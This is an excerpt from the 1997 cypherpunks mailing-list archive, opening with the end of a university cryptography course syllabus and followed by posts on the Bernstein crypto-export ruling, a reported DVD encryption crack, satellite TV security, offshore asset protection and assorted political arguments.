curve crypto systems are developed. As important tools for authentication
and integrity, digital signatures and hash functions are introduced.
Advanced protocols for key distribution in networks are developed.
Identification schemes are treated as advanced topics.  Some mathematical
algorithms for attacking cryptographic schemes are discussed. Application
examples will include a protocol for security in a LAN and identification
with smart cards. Special consideration will be given to schemes which are
relevant for network environments.  For all schemes, implementation aspects
and up-to-date security estimations will be discussed.



                        PREREQUISITES

Working knowledge of ``C''. An interest in discrete mathematics and
algorithms is highly desirable.



                           TEXTBOOK

D.R. Stinson, Cryptography: Theory and Practice. CRC Press, 1995
              (mandatory)

B.  Schneier, Applied Cryptography. 2nd edition, Wiley & Sons, 1996
              (recommended for additional reading)



                     SYLLABUS EE 578/CS 578

An important part of the course is an independent project. The project topic
can freely be chosen by the student. Possible topics include (but are not
limited to) implementation of a real-size cryptographic algorithm or
protocol, a literature study on new cryptographic schemes or on legal
aspects of cryptography, or implementation of an algorithm for attacking a
cryptographic scheme.


WEEK 1:
Introduction: Principals of cryptography. Classical algorithms.
Attacks on cryptographic systems.

WEEK 2:
Stream ciphers and pseudo-random generators.. Some information theoretical
results on cryptography.

WEEK 3:
Private key cryptography: The Data Encryption Standard DES. Brief history,
function and performance.

WEEK 4:
Private key cryptography: Recent results on successful attacks on DES.
Operation modes of symmetric ciphers. IDEA and other alternatives to
DES.

WEEK 5:
Public key cryptography: Introduction. Some Number Theory and Algebra.

WEEK 6:
Public key cryptography: RSA. Function and security. Recent results on
successful attacks on RSA.

WEEK 7:
Midterm exam.

WEEK 8:
Public key cryptography: The discrete logarithm problem. ElGamal crypto
system. Function and security. Security estimations.

WEEK 9:
Public key cryptography: Elliptic curve systems. Mathematical background,
function and security.

WEEK 10:
Digital Signatures: The ElGamal signature scheme. Message Authentication
Codes (MAC).

WEEK 11:
Hash functions: Principals. Block cipher based hash functions.
Protocols: Attacks against protocols, protocols for privacy,
authentication, and integrity.

WEEK 12:
Key distribution in networks: Private key approaches, certificates, and
authenticated key agreement.

WEEK 13:
Identification schemes: Challenge-and-response protocols. The Schnorr
identification scheme for smart cards.

WEEK 14:
Final exam.



******************************************************************************
Christof Paar                        http://ee.wpi.edu/People/faculty/cxp.html
Assistant Professor                  email:  christof@ece.wpi.edu
ECE Department                       phone:  (508) 831 5061
Worcester Polytechnic Institute      fax:    (508) 831 5491
100 Institute Road
Worcester, MA 01609, USA
******************************************************************************



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 26 Aug 1997 08:49:35 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Forbes article on Financial Cryptography is coming
Message-ID: <1.5.4.32.19970826002513.00851318@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



All right! Congrats to all. Hail, to Sameer the Overthrower. 

And to Adam Shostack, now daily distinguished bullseye 
spit-eye at bug-eyed authority.

Hettinga and Greenspan, assuring the end of greenbacks, uh huh.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apache@bear.apana.org.au
Date: Mon, 25 Aug 1997 23:01:00 +0800
To: cypherpunks@toad.com
Subject: TEST
Message-ID: <199708251441.AAA08040@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



latency test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apache@bear.apana.org.au
Date: Mon, 25 Aug 1997 22:55:37 +0800
To: cypherpunks@cyberpass.net
Subject: TEST
Message-ID: <199708251441.AAA08053@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



latency test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 26 Aug 1997 05:22:19 +0800
To: Jenaer Mixmaster Anonserver <mixmaster@as-node.jena.thur.de>
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <m0x2U9s-0003yFC@as-node.jena.thur.de>
Message-ID: <Pine.LNX.3.93.970826024015.104C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 24 Aug 1997, Jenaer Mixmaster Anonserver wrote:

[...]

>   Uh, don't you mean "instead of paying a large amount of money to the
> government and a small amount of money for a security system, you now
> just pay a small amount of money for the security system"?

No I mean what I said,  resurch indercates that welfare is
cheeper then law enforcement and securaty for equile amounts of reduction
in crimes.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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RZwsclFRICw/tsak2af73Ahijbmt44Wsc3fZ/BB1IHYfhftx9fg+jnqx5VxsyXT5
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=dzpn
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 26 Aug 1997 05:32:55 +0800
To: cypherpunks@toad.com
Subject: Re: Welfare Solution #389
In-Reply-To: <Pine.SUN.3.96.970825121329.13246D-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.93.970826025239.104E-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 25 Aug 1997, Ray Arachelian wrote:

[...]

> Want to end the drug problem?  Sell the drugs dirt cheap.  Treat driving
> while high the same as driving while drunk.

Of cause such actions should be done within the context of a harm
minimlisation scheme (needle echanged ect)

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 26 Aug 1997 23:10:53 +0800
To: cypherpunks@toad.com
Subject: Internet Content Coal. bars press from "news rating" mtg on 8/28
Message-ID: <Pine.GSO.3.95.970826075830.18078C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 26 Aug 1997 07:58:10 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Internet Content Coal. bars press from "news rating" mtg on 8/28



---------- Forwarded message ----------
Date: Mon, 25 Aug 1997 17:53:24 -0400
From: Vin Crosbie <crosbie@well.com>
Subject: ICC bars the press -- irony?

Does anyone besides me find it both humorous and sad that this week's
meeting of the Internet Content Coalition, during which it will likely
discuss its proposal to rate or label which websites offer 'news', will be
closed to the press?

Does no one else find an unfortunate irony that editorial organizations
such as MSNBC, CMP, Playboy, AdWeek, and C/NET are meeting behind closed
doors to discuss their proposal about why or how to label or rate which
websites are deemed to offer 'news'?

After all, why bother discussing a controversial issue in public, in the
light of day? Why should these editorial organizations live by the standard
with which they judge others?

Would they object if other groups or bodies were barring them from
reporting on a meeting to discuss a proposal to rate or label whether they
offer 'news' content? I think so.

>"This is an off-the-record meeting, where New Media editors can discuss
>openly and freely, and where we hope to reach a consensus on moving
>forward. It is not open to the press," said James Kinsella, general
manager of
>MSNBC in an e-mail message. 
quotes Editor & Publisher magazine's website.
	http://www.MediaINFO.com/ephome/news/newshtm/stories/082297n1.htm 

Yes, I'm sure that ICC members will feel more free to discuss controversial
issues if their meeting is closed to the press. Meetings that are closed to
the press are often run more efficiently and can reach concensus more
quickly. Just ask any government official, bureaucrat, corporate or special
interest executive, or dictator. They'll verify these practical advantages
for keeping press out.

I realize that the ICC is a private organization. It can do what it wants,
including barring the press. But isn't it funny how the 'news'
organizations involved plan to bar other 'news' organization so that they
can discuss whether or not to deem who offers 'news'?

Shame on all involved.


_________________________________________________________
Vin Crosbie                              crosbie@well.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 26 Aug 1997 23:13:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Reuter on Bernstein Ruling
In-Reply-To: <1.5.4.32.19970826124158.006d5e64@pop.pipeline.com>
Message-ID: <19970826150014.18696.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain




> Patel also issued a permanent injunction barring the government
> from enforcing the regulations against plaintiff Daniel Bernstein or anyone
> who sought to use, discuss or publish his encryption program.

Now that Snuffle has been around for a while, it's obviously time for
an upgrade.  Might I suggest "Snuffle '95" with the DES, 3DES, RC5,
and IDEA options.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 26 Aug 1997 23:34:36 +0800
To: Ray Arachelian <gnu@toad.com
Subject: Re: Bernstein decision
In-Reply-To: <Pine.SUN.3.96.970826110402.6437C-100000@beast.brainlink.com>
Message-ID: <199708261510.IAA04380@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Happy, Happy, Joy! Joy! So does this mean we can freely export all crypto
> now?  How soon before the EAR's get thrown out?

The Bernstein legal team is working on a definitive statement in a
conference call this morning.

As usual, talk to your own lawyer before doing anything rash.
We put the decision up on the Web so you (and they) can read it and
come to your own conclusions.  See http://www.eff.org.

	John






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 27 Aug 1997 00:30:38 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@ssz.com>
Subject: Re: lack of evolutionary pressures
In-Reply-To: <199708231347.IAA24308@einstein.ssz.com>
Message-ID: <19970826091948.12144@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Aug 23, 1997 at 08:47:03AM -0500, Jim Choate wrote:
> Forwarded message:
> 
> > Date: Fri, 22 Aug 1997 22:42:34 -0700
> > From: Kent Crispin <kent@songbird.com>
> > Subject: Re: lack of evolutionary pressures (was Re: An end to "court appointed attorneys")
> 
> > The evolutionary definition of "competent" is "propagate your genetic 
> > material".  A rough corollary is that those who raise the most children 
> > to child-bearing age are the most competent.
> 
> With all due respect, bullshit. Fecundity is in no way related to long-term
> survival as detailed in the various theories of Neo-Darwinian evolution or
> in actual studies. 

Note that I didn't say "fecundity".  And note also that I said "rough
corollary".  Furthermore, it is simply false to state that "fecundity
is in no way related etc etc".  A dominant gene that causes a fecundity of
zero, for example, will not propagate.

[...]

> Also note that Mayr has a new book out (about a year old I believe) that
> covers some of the most recent changes of the punctuated-equilibria and
> neo-darminian camps.

Thanks -- I will look into it.  I know of Dr Mayr's work from other 
sources, but I didn't know he had a new book out.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 26 Aug 1997 23:04:11 +0800
To: cypherpunks@toad.com
Subject: Re: There's something wrong when...Shitty Laws!
In-Reply-To: <+u6M/NucrBPL5LOmnZJmew==@bureau42.ml.org>
Message-ID: <199708261451.JAA12764@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <+u6M/NucrBPL5LOmnZJmew==@bureau42.ml.org>, on 08/26/97 
   at 02:12 PM, bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
said:

>  After memorizing the Fertilizer Act and all other regulations and
>legislation involved, I piled some turds in my yard, next to the garden.
>  It was a week later, when I began to follow the instructions to turn it
>over and mix it up that I was arrested for "being involved in 'bad
>shit'."
>The worst part is that because I was turning it over and stirring it when
>arrested, I will get an "extra five years" for "use of encryption in the
>commision of a composting crime."


Isn't socialism grand!!! :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 27 Aug 1997 01:18:03 +0800
To: cypherpunks@toad.com
Subject: Stewart Baker on Bernstein encryption decision (fwd)
Message-ID: <Pine.GSO.3.95.970826100258.28546F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 26 Aug 1997 10:02:09 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Stewart Baker on Bernstein encryption decision



---------- Forwarded message ----------
Date: Tue, 26 Aug 97 11:51:37 EST
From: Stewart Baker <sbaker@mail.steptoe.com>
To: fight-censorship-announce@vorlon.mit.edu, declan@well.com
Subject: Re: FC: John Gilmore to cypherpunks on Bernstein decision

     
Declan--

John is entitled to brag about the Bernstein decision, but getting the 
Department of State to "RWA" all of its pending license applications is nothing 
to brag about.  It cost a lot of companies a lot of money, time, and sales while
they resubmitted the same applications to the Commerce Department.  

I said at the time that State's advice to crypto exporters in those last few 
weeks was "Get your tongue out of my mouth, I'm kissing you good-bye."  

Perhaps the cause of this action was the lawsuit, perhaps it was spite at the 
crypto exporters who lobbied for a change in jurisdiction, but whatever the 
cause, it was not a good thing for anybody who is actually in the crypto 
business.

Stewart

______________________________ Reply Separator _________________________________
Subject: FC: John Gilmore to cypherpunks on Bernstein decision
Author:  declan@well.com at INTERNET
Date:    8/26/97 10:38 AM








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 26 Aug 1997 23:39:32 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: The true goal (was: Re: Bernstein decision)
In-Reply-To: <Pine.SUN.3.96.970826110402.6437C-100000@beast.brainlink.com>
Message-ID: <199708261527.KAA13190@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970826110402.6437C-100000@beast.brainlink.com>, on
08/26/97 
   at 11:04 AM, Ray Arachelian <sunder@brainlink.com> said:

>On Tue, 26 Aug 1997, John Gilmore wrote:

>> However you slice it, getting a Federal judge to declare both crypto
>> export control regimes unconstitutional is a major accomplishment.

>Happy, Happy, Joy! Joy! So does this mean we can freely export all crypto
>now?  How soon before the EAR's get thrown out?

EAR has allways been a side issue. The true question should be: How soon
before the bastards that supported EAR get thrown out?


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 26 Aug 1997 23:05:37 +0800
To: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: heart
In-Reply-To: <Pine.LNX.3.93.970826174756.2131C-100000@shirley>
Message-ID: <Pine.SUN.3.96.970826104902.6437A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 26 Aug 1997, ? the Platypus {aka David Formosa} wrote:

> 
> > On Mon, 25 Aug 1997, ? the platypus {aka David Formosa} wrote:
> 
> [...Realy lame aregument on my part snipped...]
> 
> What was I on when I wrote that crap!?

Good question... I'd like to know where you got it so I can smoke some
too... must be some good mind altering shit....
 
> But I have a better example :D
> 
> I take a blood sample from our plunger wealding cop,  its the blood of a
> homospapian i.e. a human.
> 
> The cop makes use of the plunger.
> 
> I take a second sample from our plunger wealding cop, its the blood of a
> homospapain i.e. a human.
> 
> The cop can't become inhuman by any action thay take.

How's that again?  Earlier you were saying that if any human considers
another human inhuman, all huamns lose humanity points, I showed an
example whereby all of humankind's inhumans action (by your model) would
calls all humanity - including the cop - to lose their humanity points to
the point of having negative humanity points therefore being human.  Why
are cops an exception to this?

OTOH: By your new example:

If you now take a blood sample from the plungee, is he human as well?  If
so, then both the cop and the plungee are human, therefore neither has
lost humanity points, and if someone else came with a chainsaw and cut the
cop's head off, and you now take all three persons' blood, they all are
human.  

Whether or not the chainsaw dude did it with malice and thought the cop
inhuman, all three blood samples will still show human.

So what's your point now?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Wed, 27 Aug 1997 02:07:47 +0800
To: cypherpunks@toad.com
Subject: need confirmation of DVD/CSS crack in China ...
Message-ID: <199708261758.KAA25147@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



Is this true?  Does anyone have confirmation of this crack?  Or is
C/NET being a bit liberal on word choice?

Ern

> full article: http://www.news.com/News/Item/0,4,13651,00.html
> 
> Hundreds of films come to DVD 
> By Michael Kanellos
> August 22, 1997, 4:35 p.m. PT 
> 
> UPDATE A raft of new DVD movies from major Hollywood studios could provide a
> boost to the fledgling digital video disc industry, which has been in dire
> need of more titles. 
> 
> < lines deleted >
> 
> Third, the entertainment industry giants will have to improve and agree on
> an encryption technology. The current 40-bit encryption standard used on DVD
> discs, which is supposed to stop copyright pirates, has already been cracked
> in China. Stronger encryption, however, forces PCs and players to run at a
> crawl. Partially as a result, Fox, Paramount, and Disney have not committed
> to producing materials on DVD, Burdon noted. 
> 
> < lines deleted > 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 26 Aug 1997 23:17:33 +0800
To: John Gilmore <gnu@toad.com>
Subject: Re: Bernstein decision
In-Reply-To: <199708261343.GAA03055@toad.com>
Message-ID: <Pine.SUN.3.96.970826110402.6437C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 26 Aug 1997, John Gilmore wrote:

> However you slice it, getting a Federal judge to declare both crypto
> export control regimes unconstitutional is a major accomplishment.

Happy, Happy, Joy! Joy! So does this mean we can freely export all crypto
now?  How soon before the EAR's get thrown out?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 26 Aug 1997 23:13:08 +0800
To: cypherpunks@Algebra.COM
Subject: Jurisdiction Shopping
In-Reply-To: <1.5.4.32.19970821161048.00743ce8@pop.pipeline.com>
Message-ID: <3.0.2.32.19970826110642.03684e6c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:00 PM 8/21/97 -0700, Tim May wrote:

>Interestingly, many of the strategies for moving assets offshore, to
>offshore banks and money havens, is not so much to evade taxes as to
>"protect assets." Protect them from ransom/extortion demands of the _legal
>profession_ sort, e.g., "deep pockets" lawsuits. For example, somebody
>finds out that J. Random Cypherpunk is  financially well off--perhaps from
>the increasing number of online credit report records, etc.--and decides to
>have a convenient "fall" on his property. He then sues for some large
>amount, either covered by Homeowner's Insurance, or more.

Foreign Asset Protection Trusts (FAPTs) have indeed become popular for 
protection against general lawsuit and dom rel liabilities.  As long as not 
done in contemplation of bankruptcy, such transfers remain legal.

Another popular reason is privacy in general.  US domestic accounts can be 
examined by any federal, state, or local government employee who can sign his 
name to a subpeona.  Any lawyer can also examine account records in the 
course of discovery proceedings.  There are some limits to the above powers 
but not very substantial limits.  For all we know, FINCEN has a nice Win32-
based point and click browser that can tiptoe through every bank and 
brokerage account in America.  If they don't have one yet, I'm sure they are 
trying to get one.

If domestic lawyers or governments want the same sort of access to accounts 
in other jurisdictions, they have to spend many thousands of dollars and 
months or years of personnel time.  Cuts down on their capabilities.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 26 Aug 1997 23:31:45 +0800
To: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: heart
In-Reply-To: <Pine.SUN.3.96.970826104902.6437A-100000@beast.brainlink.com>
Message-ID: <Pine.SUN.3.96.970826111301.6437E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 26 Aug 1997, Ray Arachelian wrote:

> How's that again?  Earlier you were saying that if any human considers
> another human inhuman, all huamns lose humanity points, I showed an
> example whereby all of humankind's inhumans action (by your model) would
> calls all humanity - including the cop - to lose their humanity points to
 ^^^^^^^
  cause

Ayeeee! I've been infected by the Platypus virus!!!  Someone hand me
FProt quick! :)

> the point of having negative humanity points therefore being human.  Why
> are cops an exception to this?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 26 Aug 1997 23:34:53 +0800
To: cypherpunks@toad.com
Subject: Re: Forbes article on Financial Cryptography is coming
In-Reply-To: <v03110712b027c327ea55@[139.167.130.248]>
Message-ID: <97Aug26.111733edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 25 Aug 1997, Robert Hettinga wrote:

> It's out. Sameer made the cover of Forbes with a picture captioned "This
> man wants to overthrow the government".

If that is the case, he better hurry.  "the government" will be obsoleted
in about a decade :).  On the other hand, he probably has been more
persistent in the US than anyone else in hurrying this process of planned
obsolecense.

Marx's dialectic said the government would disappear after everything was
communist.

Cypherpunk's dialectic says the government will disappear after technology
leaves it behind as an old relic of a barbaric past next to the divine
right of kings.

If there is a serpent in the new garden, it is that then we *MUST* govern
ourselves - personally, and individually, and I don't know how many are
capable of living virtuously.  But at least the virtuous won't be taxed to
subsidize the vicious.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 27 Aug 1997 02:44:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: System used for DSS (US Satelite TV)
In-Reply-To: <199708261802.OAA24351@homeport.org>
Message-ID: <19970826183304.3978.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain




> Anyone know about the security for the DSS system?  (A US satelite TV
> system with 18" dishes).  A buddy disconnected his for an extended
> period, and on plugging it back in, got all the channels for about 5
> minutes.

> So now I'm all curious if we can reproduce this.

> Adam

Apparently the content is not strongly encrypted in a way which requires
that one be a subscriber to recover it, since there is a "test mode" which
displays all the channels, including unassigned ones.  

I've not seen a document describing their protocols in detail, however. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 27 Aug 1997 00:14:13 +0800
To: fight-censorship@vorlon.mit.edu
Subject: The Gift of Stern Angels
Message-ID: <3.0.2.32.19970826120654.00699cf4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I'm reading "The Gift of Stern Angels" by Michael Moriarty.  It is a memoir 
of how one hour with Janet Reno in a Washington DC hotel in 1993 turned the 
star of Law and Order from a Clinton voter into a very independent 
libertarian, a black-listed Hollywood pariah, and an exile to Canada.

[No they were just talking.]

Moriarty, who had voted for Clinton in 1992, was invited to a meeting on 
television violence between the AG and TV execs in the Ulysses S. Grant Suite 
of the Willard Hotel on November 18th 1993.  The AG said that a show like 
"Murder She Wrote" even though it didn't show violence on screen was 
troubling because it dwelt on the instrumentalities of violence.

Following the meeting, Moriarty publicly attacked the Administration, was 
fired from Law and Order, was unable to work in Hollywood (save for one 
appearance in Courage Under Fire), got divorced, and fled to Halifax.  He had 
favored a ban on "assault rifles" but he now moved to Canada because he 
feared that if he stayed in the US he would feel compelled to take up the 
gun.  

The book has tons of great free speech quotes.  "In 3,000 years of human 
history, no one has ever dared to come to the conclusion that the fight 
scenes in Romeo and Juliet provoked the death of Christopher Marlowe."

It's not published in the US.  I ordered mine from the Book Room (North 
America's oldest bookstore) in Halifax.  1-800-387-BOOK (2665).

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 27 Aug 1997 00:26:59 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Reuter on Bernstein Ruling
Message-ID: <1.5.4.32.19970826160822.006e89a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Is Snuffle on line anywhere now? If not, anyone got a source?
Or is Dan reserving the honor?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 27 Aug 1997 03:28:37 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Stewart Baker on Bernstein encryption decision (fwd)
In-Reply-To: <Pine.GSO.3.95.970826100258.28546F-100000@well.com>
Message-ID: <199708261910.MAA04330@netcom3.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>It cost a lot of companies a lot of money, time, and sales while
>they resubmitted the same applications to the Commerce Department.  


well now Mr. BAKER, it has cost a lot of companies a lot of 
TIME and MONEY and SALES to adhere to laws that were
obviously UNCONSTITUTIONAL from the very beginning, such that
even the most dimwitted of citizens could tell you, but the sharpest
politicians and bureacrats in our government could or would not, all erected 
by a government way out of control and subject to covert machinations
by a massively funded/favored constituency known as the SPOOKS,
under the patriotic guise of NATIONAL SECURITY. 

*spit*

I sincerely hope that this is the first straw that breaks that 
fraudulent camel's back. soon let the whole corrupt 
structure fall like the rotten house of cards that it is.

ironic indeed that you of all people would lament the
"money, time, and sales" that have cost companies in the
bureacratic and regulatory quagmire that is known as our government.
yes, let your hastily-composed email stand as eternal testament
to the fact that SOME PEOPLE JUST DON'T GET IT, even as they
wallow daily in their own hypocrisy.

the horrid and repulsive episode known as "cryptography regulations"
is indicative that there
are some people in the world who are not playing by rules of honor
and integrity, even as they live under the same country, they do not
have an agenda that is befitting of the welfare of the general
populace, that they will exercise the greatest ingenuity in 
stretching their own authorities beyond that which is legitimate,
in the attempt to glom as much power as can be obtained,
and can be restrained from their covert machinations
against their fellow man only by the shrewdest of vigilance-- something
we have been deeply remiss and negligent, as a nation, in invoking.

when in the course of human events it become necessary to expunge a 
parasite...

gosh, could it really be the authority was handed to the commerce department
so "the government could avoid the                 
constitutional deficiencies of its regulations by rotating oversight            
of them from department to department"??? naw. ah, but that would be like
impugning the impeccable motives of the tooth fair, would it not?

(if so, it would be the one of the least vile and sleazy tactics employed
so far in the whole sorry affair.)

I am sorry that this message can barely begin to muster the sarcastic 
contempt I feel for you and your despicable cohorts, Mr. Baker. if you
prefer a more civil message, perhaps TCM will have some consolation
for you.


>---------- Forwarded message ----------
>Date: Tue, 26 Aug 97 11:51:37 EST
>From: Stewart Baker <sbaker@mail.steptoe.com>
>To: fight-censorship-announce@vorlon.mit.edu, declan@well.com
>Subject: Re: FC: John Gilmore to cypherpunks on Bernstein decision
>
>     
>Declan--
>
>John is entitled to brag about the Bernstein decision, but getting the 
>Department of State to "RWA" all of its pending license applications is nothing 
>to brag about.  It cost a lot of companies a lot of money, time, and sales while
>they resubmitted the same applications to the Commerce Department.  
>
>I said at the time that State's advice to crypto exporters in those last few 
>weeks was "Get your tongue out of my mouth, I'm kissing you good-bye."  
>
>Perhaps the cause of this action was the lawsuit, perhaps it was spite at the 
>crypto exporters who lobbied for a change in jurisdiction, but whatever the 
>cause, it was not a good thing for anybody who is actually in the crypto 
>business.
>
>Stewart





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Wed, 27 Aug 1997 03:45:37 +0800
To: cypherpunks@cyberpass.net
